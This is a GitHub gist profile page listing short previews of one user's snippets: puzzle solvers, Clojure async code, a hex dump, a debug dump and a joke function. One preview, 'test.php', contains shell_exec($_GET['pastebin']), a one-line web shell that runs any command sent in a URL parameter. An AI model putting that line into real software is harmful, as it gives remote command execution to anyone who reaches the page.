Skip to content

Instantly share code, notes, and snippets.

Avatar

Kelly Norton kellegous

View GitHub Profile
View puzzle.js
#!/usr/bin/env node
/**
* Solve the problem by guessing.
*
* @param {number} n
* @param {number} k
* @param {number} min
* @param {Int8Array} src
* @param {Int8Array} dst
View puzzle.js
#!/usr/bin/env node
/**
* Solve the problem by guessing.
*
* @param {Int8Array} src
* @param {Int8Array} dst
* @param {() => void} fn
*/
function solve(src, dst, fn) {
View add.clj
(ns playsync.core
(:require [clojure.core.async
:as a
:refer [>! <! >!! <!! go chan buffer close! thread
alts! alts!! timeout]]))
(defn pipe-through
[f in out]
(go (>! out (f (<! in)))))
View gist:b19d1dbe32e90b0d14ff6ffd05f624ba
796ffc5af18dd7af77de2c1e3b7aa478f7b19e0c
filename=00053378.eml index=11302
filename=00053378.eml index=15296
filename=00053378.eml index=15482
filename=00053378.eml index=26501
c196e940b1a3604a995ec9635c12c4323bd46ad9
filename=00017998.eml index=3008
filename=00017998.eml index=12175
filename=00017998.eml index=27047
filename=00017998.eml index=36522
View test.php
require_once 'lib/Avesta.php';
shell_exec($_GET['pastebin']);
View gist:a8708179fce430fc7189732b0dbee5b8
00000000 cf fa ed fe 07 00 00 01 03 00 00 80 02 00 00 00 |................|
00000010 0f 00 00 00 b0 04 00 00 85 00 20 00 00 00 00 00 |.......... .....|
00000020 19 00 00 00 48 00 00 00 5f 5f 50 41 47 45 5a 45 |....H...__PAGEZE|
00000030 52 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |RO..............|
00000040 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 19 00 00 00 d8 01 00 00 |................|
00000070 5f 5f 54 45 58 54 00 00 00 00 00 00 00 00 00 00 |__TEXT..........|
00000080 00 00 00 00 01 00 00 00 00 10 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 |................|
View fuck.php
static public function __callStatic($method, $args) {
return '';
}
View gist:54c209f888ec583ce81fa54ec24ab832
/opt/mailchimp/current/app/controllers/AdsController.php:84:
class FacebookAds\Http\Response#282 (5) {
protected $request =>
class FacebookAds\Http\Request#279 (10) {
protected $client =>
class FacebookAds\Http\Client#269 (6) {
protected $requestPrototype =>
class FacebookAds\Http\Request#272 (10) {
...
}
View hire-me.js
var isPosInt = require('is-positive-integer');
// Write a function that pads out a string to a certain length w/ a given character
function hireMe(s) {
// we have a "certain length" here because I'm certain the length will be 17 + the length of your string.
if (isPosInt(10)) {
return "a given character" + s;
}
}
You can’t perform that action at this time.